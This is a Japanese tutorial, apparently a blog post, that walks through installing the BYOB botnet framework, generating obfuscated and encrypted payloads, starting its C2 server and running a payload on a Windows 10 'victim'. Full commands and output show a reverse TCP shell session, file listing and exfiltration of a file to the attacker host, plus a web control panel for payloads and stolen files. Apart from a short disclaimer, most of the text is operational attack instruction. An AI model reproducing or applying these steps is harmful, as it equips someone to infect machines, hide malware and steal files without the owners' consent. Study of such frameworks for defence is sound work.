BYOB(Build Your Own Botnet)でC2サーバーを構築する

# 免責事項

:::note alert
このプロジェクトは、認可されたテストまたは教育目的にのみ使用してください。 
:::

# BYOBとは

>BYOB は、学生、研究者、開発者向けのオープンソースのエクスプロイト後のフレームワークです。 次のような機能が含まれます。
・直感的なユーザーインターフェイスを備えたコマンド＆コントロールサーバー
・複数のプラットフォーム向けのカスタム ペイロード ジェネレーター
・12 個のエクスプロイト後モジュール
 これら C2 サーバーやリモート管理ツールを最初から作成する必要がなく、 学生や開発者が独自のコードを簡単に実装し、クールな新しいコードを追加できるように設計されています。
>> [BYOB README.mdより](https://github.com/malwaredllc/byob)

GUIバージョンとCLIバージョンがあり、攻撃者が使用するコントロールパネルなどを構築できるツール。

# CLIバージョン環境

- 攻撃者マシン: Kali Linux 2023
- ターゲットマシン: Windows10
- python2.7
- byob2.0

## 準備

python2.7推奨

>Python 2.7 が推奨されます (このプロジェクトは 2.7 で構築されていますが、Python 3 以降もサポートするための作業が行われていますが、いくつかのバグがある可能性があります) 
>> [wikiより](https://github.com/malwaredllc/byob/wiki/Installing-Requirements-on-Linux)

### BYOBのインストール

```bash
$ git clone https://github.com/malwaredllc/byob.git
Cloning into 'byob'...
remote: Enumerating objects: 6554, done.
remote: Counting objects: 100% (24/24), done.
remote: Compressing objects: 100% (24/24), done.
remote: Total 6554 (delta 9), reused 6 (delta 0), pack-reused 6530
Receiving objects: 100% (6554/6554), 38.66 MiB | 10.80 MiB/s, done.
Resolving deltas: 100% (2966/2966), done.
```

```
$ cd ./byob/byob
```

インストール後、setup.pyを実行し必要なモジュールなどをインストールする。

```
$ sudo python2.7 setup.py
```

setup.py実行後もモジュールが見つからない場合は、require.txtを確認して必要なモジュールを都度インストールか`Prequire.txt`から一括でインストールする。

```
$ python2.7 -m pip install -r requirements.txt
```

## ペイロード作成

`client.py`で自身とコネクションを確立するペイロードを作成できます。

```
python client.py YourIp YourPort
```

IPとPORTは通信する自身のマシンIPとPORTを指定する必要があります。
より詳細なオプションは[wiki](https://github.com/malwaredllc/byob/wiki/Generating-a-Payload)から確認できます。

```
$ python2.7 client.py 192.168.11.10 8080

                                                                             
88                                  88                                       
88                                  88                                       
88                                  88                                       
88,dPPYba,  8b       d8  ,adPPYba,  88,dPPYba,                               
88P'    "8a `8b     d8' a8"     "8a 88P'    "8a                              
88       d8  `8b   d8'  8b       d8 88       d8                              
88b,   ,a8"   `8b,d8'   "8a,   ,a8" 88b,   ,a8"                              
8Y"Ybbd8"'      Y88'     `"YbbdP"'  8Y"Ybbd8"'                               
                d8'                                                          
               d8'                                                           
                                                                             

[>] Modules                                                                  
        Adding modules...  -(4 modules added to client)

[>] Imports                                                                  
        Adding imports... (31 imports from 4 modules)

[>] Payload                                                                  
        Uploading payload...  -(hosting payload at: http://192.168.11.10:8081/clients/payloads/sDH.py)

[>] Stager                                                                   
        Uploading stager...  -(hosting stager at: http://192.168.11.10:8081/clients/stagers/sDH.py)

[>] Dropper                                                                  
        Writing dropper...  (350 bytes written to /modules/clients/droppers/byob_sDH.py)
```

ペイロードを作成できました。
作成されたペイロードのpythonファイルは`/byob/modules/clients/payloads`配下に格納されます。

```
$ ls -l ./modules/clients/payloads 
total 132
-rw-r--r-- 1 kali kali 131861 Dec 17 10:43 sDH.py
```

### クライアントオプション

特徴的なものをいくつか紹介します。

- `--freeze` 

>クライアントを現在のホスト プラットフォーム用のスタンドアロン実行可能ファイルにコンパイルします
>>[wikiより](https://github.com/malwaredllc/byob/wiki/Generating-a-Payload)

実行結果

```
(中略)
(8,279,168 bytes saved to file: /home/kali/byob/byob/dist/tF3)
```

`freeze`オプションを付けると`/byob/dist/`配下にペイロードが作成されます。
処理内容としては、ホストマシンからOS情報を取得しその環境に合わせて、作成したpythonファイルをpyinstallerで実行ファイルに変換しています。

```/byob/byob/core/generators.py
def freeze(filename, icon=None, hidden=None, debug=Fals
(中略)
    if debug:
        process = subprocess.Popen('{0} -m PyInstaller -d imports -d bootloader --log-level DEBUG --onefile --hidden-import="pkg_resources.py2_warn" {1}'.format(sys.executable, filename), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True)
    else:
        process = subprocess.Popen('{0} -m PyInstaller --noconsole --onefile --hidden-import="pkg_resources.py2_warn" {1}'.format(sys.executable, filename), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True)
```

ここで注意することが、ホストマシンのOSに合わせて作成される点です。
Windowsの実行ファイルを作成したい時は、Windowsにbyobをインストールしペイロードを作成する必要があります。

Issueにも同様の問い合わせがありました。

https://github.com/malwaredllc/byob/issues/63#issuecomment-431598928

- `--encrypt`

>ペイロードのステージャーに埋め込まれたランダムな 128 ビット キーを使用してペイロードを暗号化します
>>[wikiより](https://github.com/malwaredllc/byob/wiki/Generating-a-Payload)

`encrypt`オプションを付けるとペイロードのコードを暗号化してくれます。

暗号化なし

```
#!/usr/bin/python
# -*- coding: utf-8 -*-
'Loader (Build Your Own Botnet)'

# standard library
import imp
import sys
import logging
import contextlib
if sys.version_info[0] < 3:
    from urllib2 import urlopen
else:
    from urllib.request import urlopen
(後略)
```

暗号化あり

```
OIU5qjXJmLAIR7VPoH3oBnNMFgy9uzGwBVIpRsH9rITBkHz2d+UE3t62e0wvJnVGBBG57jPsc12PViMALGhsFF9V5qR4E4LbqwbJWY5MmdM1wxd
+4kb6jGcX3/l1wQbG4m7NlqxMonb/sWKRwWcZONVmFq9w6SqWJ/lJndFVixJosH2h3VU+MqIIVm9BWrffrfchEPfRgOR3drobHIXxPrPkU95xqA
R3ao9kR75dqbTov4PL1XIbOU065Aw/tGWSEnX6pcqznDDMdTmpI/URz4sMCEzEMucLCM7i/Kc7QXN2LFsXEDSiW7eOhF+NH5MYNuuto2yHKh+vN
j/UtHStb+kiqEKvZSgZ7nsJ+gHKvyWNw+bJgV69uBRRWhFomAM4d1Ax/5t3D4nzGC/
(後略)
```

- `--compress`

>自己解凍型の Python スクリプトに zip 圧縮します
>>[wikiより](https://github.com/malwaredllc/byob/wiki/Generating-a-Payload)

`compress`オプションではペイロードの中身を圧縮し、実行する際に自身で解凍するようになります。

```
import zlib,base64,marshal;exec(eval(marshal.loads(zlib.decompress(base64.b64decode('eNqkfQd8FcX2/8xsTajSEcELig
SBgICoiCidKALegGgEw02+N8lCchPuvQEiYMPee++99/7svfuePnvv9dm77/n+c87sbnJDwPf7/CGZzO7Ozs7OnDnz/Z45M1stwn+e/t1N/+ZmO
EJAiAodSgEl6qWokFFciQoVxS1RYUVxW1TYIq3EMkfAEv1hi+VCZBfzZUfUu6LBExWekJnu0Sk/OgVXwBPwxWE68yKBIpEuFjU6UbE4TIj1Quxb
0UlA/3QWh+mi
(後略)
```

## サーバーの起動

次にクライアントと通信するためのサーバーを起動します。

`python server.py --host YourIp --port YourPort`
IPアドレスとPORTは先ほどクライアントを作成した際のものと一致させる必要があります。

```
$ python2.7 server.py --host 192.168.11.10 --port 8080

                                                                                                                       
88                                  88                                                                                 
88                                  88                                                                                 
88                                  88                                                                                 
88,dPPYba,  8b       d8  ,adPPYba,  88,dPPYba,                                                                         
88P'    "8a `8b     d8' a8"     "8a 88P'    "8a                                                                        
88       d8  `8b   d8'  8b       d8 88       d8                                                                        
88b,   ,a8"   `8b,d8'   "8a,   ,a8" 88b,   ,a8"                                                                        
8Y"Ybbd8"'      Y88'     `"YbbdP"'  8Y"Ybbd8"'                                                                         
                d8'                                                                                                    
               d8'                                                                                                     
                                                                                                                       
                                                                                                                       
[?]  Hint: show usage information with the 'help' command
                                                                                                                       
[kali @ /home/kali/byob/byob]>
```

これでサーバーがクライアントからの通信待ちになりました。

## ペイロード実行

被害者PCで先ほど作成したpythonファイルのペイロードを実行します。
今回の被害マシンは`Windows10`です。

```
PS C:\Users\user> python C:\Users\user\Desktop\byob_payload\byob_payload\sDH.py
```

ペイロードを実行するとサーバー側でクライアントとコネクションを確立する表記が出ます。

```
[kali @ /home/kali/byob/byob]>
                                                                                                                                     
[+] New Connection: 192.168.11.9                                                                                                     
    Session: 0
    Started: Fri Dec 15 21:25:55 2023
```

`sessions`コマンドでサーバーとセッションを張れるクライアント情報を確認できます。

:::note warn
`public_ip`や`latitude`、`longitude`項目は本来表示されていますが今回は伏せています。
:::

```
[kali @ /home/kali/byob/byob]>  sessions                                                                                             

0
  public_ip          
  local_ip           192.168.11.9
  platform           win32
  mac_address        80:02:77:64:87:5
  architecture       64
  username           user
  administrator      False
  device             Windows10.usen.ad.jp
  owner              None
  latitude           
  longitude          
  uid                fa42b429204a887570c1dcc9f6016da5
  joined             2023-12-16 11:05:31.300146
  online             True
  sessions           True
  last_online        2023-12-16 11:05:31.300283
```

パブリックIPアドレスは[ここ](http://api.ipify.org)から取得している。

```/byob/byob/core/util.py
def public_ip():
    """
    Return public IP address of host machine

    """
    import sys
    if sys.version_info[0] > 2:
        from urllib.request import urlopen
    else:
        from urllib import urlopen
    return urlopen('http://api.ipify.org').read()
```

また、位置情報は[ここ](http://ipinfo.io)から取得している。

```/byob/byob/core/util.py
def geolocation():
    """
    Return latitute/longitude of host machine (tuple)
    """
    import sys
    import json
    if sys.version_info[0] > 2:
        from urllib.request import urlopen
    else:
        from urllib2 import urlopen
    response = urlopen('http://ipinfo.io').read()
    json_data = json.loads(response)
    latitude, longitude = json_data.get('loc').split(',')
    return (latitude, longitude)
```

先ほどの`sessions`で表示されていた`id`を選択することでクライアント端末でコマンドを実行できます。

`shell [id]`

```
[kali @ /home/kali/byob/byob]>  shell 0                                                                                

                                                                                                                       
Starting Reverse TCP Shell w/ Session 0...                                                                             
                                                                                                                       
[ 0 @ C:\Python27 ]>
```

`ls`の結果を見るとクライアント端末のファイルやディレクトリが表示されています。

```
[ 0 @ C:\Python27 ]>ls                                                                                                 
                                                                                                                       
DLLs                                                                                                                   
Doc                                                                                                                    
include                                                                                                                
Lib                                                                                                                    
libs                                                                                                                   
LICENSE.txt                                                                                                            
NEWS.txt                                                                                                               
python.exe                                                                                                             
pythonw.exe                                                                                                            
README.txt                                                                                                             
Scripts                                                                                                                
tcl                                                                                                                    
test.txt                                                                                                               
test_ansi.txt                                                                                                          
Tools                                                                                                                  
w9xpopen.exe
```

また、`upload`コマンドでサーバーにファイルを転送できます。

```
[ 0 @ C:\Python27 ]>upload test.txt
                                                                                                                       
Upload complete
```

アップロードされたファイルは`byob/byob/output`配下に作成されます。

```
$ ls -l ./output 
total 4
-rw-r--r-- 1 kali kali 4 Dec 17 11:54 xxt..txt
```

```
$ cat ./output/xxt..txt           
test
```

クライアントとサーバーの接続を切る場合は`exit`コマンドを使います。
接続を切る際に`y`押すと、次サーバー起動する際に自動でクライアントに再接続してくれます。

```
[ 0 @ C:\Python27 ]>exit
Quitting server - Keep clients alive? (y/n):y                                                                          
zsh: killed     python2.7 server.py --host 192.168.11.10 --port 8080
```

`kill [id]`でもセッションを閉じることができます。

```
[ 0 @ C:\Python27 ]>kill 0
Session 0 disconnected
```

:::note warn
`screenshot`などの機能もありますが、いくつかの機能は仮想マシン上で動作しないようになっています。
:::

https://github.com/malwaredllc/byob/issues/205

CLIバージョンの解説は以上になります。
次はGUIバージョンについて解説します。

# WEB-GUI環境

- Kali Linux2023
- python3.6

GUIに関してもクライアント側での動作は基本同じなのでサーバー構築の解説のみ行います。

## 準備

`startup.sh`を実行しセットアップを行います。

```bash
cd ./byob/web-gui
./startup.sh
```

pythonやモジュール、Dockerなどの必要なものがインストールされます。

https://github.com/malwaredllc/byob/blob/master/web-gui/startup.sh#L19C2-L19C30

再起動するか聞かれたら[Y]を教えて再起動します。

## サーバーの起動

インストールが完了したらサーバーを起動します。

```
$ python3 run.py        
 * Serving Flask app 'buildyourownbotnet'
 * Debug mode: off
INFO:werkzeug:WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.                                                                                                                                
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:5000
 * Running on http://10.0.2.15:5000
```

成功すると`127.0.0.1:5000`のアドレスでサーバーが起動します。

![BYOBホーム画面.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d4dd7160-f01d-7427-26d5-0ac65b42e8fa.png)

## アカウント作成

![login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f62cce56-a5a7-dbd2-e721-7f53e80c2034.png)

次に、右上の`Register`ボタンからコントロールパネルにアクセスするアカウントを作成します。

>Web アプリが起動して実行されたら、アカウントを作成する準備が整います。 右上の登録ボタンをクリックすると登録できます。 
これにより、あなたはコマンド＆コントロール サーバーの唯一の管理者として設定され、他のユーザーによるコマンド アンド コントロール サーバーへのアクセスが制限されます。
>> [guideより](https://byob.dev/guide)

アカウントを作成するとコントロールパネルに遷移します。
コントロールパネルでは、感染後のモジュールの実行、端末のリストアップ、地理情報の表示ができます。

![ログイン後ホーム画面.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5f160ebe-81b6-331f-e875-a7dc5f21f521.png)

## ペイロードの作成

`Payloads`タブでペイロードを作成できます。

![ペイロード画面.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/77bf0ec0-fe33-4c35-8265-049d28ee6e47.png)

ペイロードファイルはCLIバージョン同様、pythonファイルやexeファイルで作成することができます。

>**python**
難読化された Python スクリプトを生成する形式として「Python」形式を選択します。
Python はプラットフォームに依存しないため、ターゲットのオペレーティング システムとアーキテクチャを選択する必要はありません。
ファイル サイズは小さいですが、実行するにはターゲット マシンに Python がインストールされている必要があります。 

>**Executable**
ターゲットのオペレーティング システムおよびアーキテクチャ用のバイナリ実行可能ファイルをコンパイルするには、「Executable」形式を選択します。
実行可能ファイルをコンパイルするには、ターゲット マシンのオペレーティング システムとアーキテクチャを選択する必要があります。
これは Python がインストールされていないシステムでも実行できますが、ファイル サイズは大幅に大きくなります。 

作成したペイロードはペイロードテーブルに表示されます。

![web-payloads.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/59633aa5-31d6-20ba-e56d-01141ca85946.png)

右側のダウンロードアイコンを選択すると、生成したペイロードをダウンロードできます。

また、`Exfiltrated Files`タブでは端末のファイルへアクセスすることができます。

![cadf3bb1-adcb-4975-a386-5918f6cfa775.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/995a3c18-124a-a85c-8a5d-5047ad845104.png)

# 参考サイト

https://byob.dev/guide

https://github.com/malwaredllc/byob/wiki

https://www.youtube.com/watch?v=8Oyx_4SsgR0

https://4pfsec.com/build-your-own-botnet-byob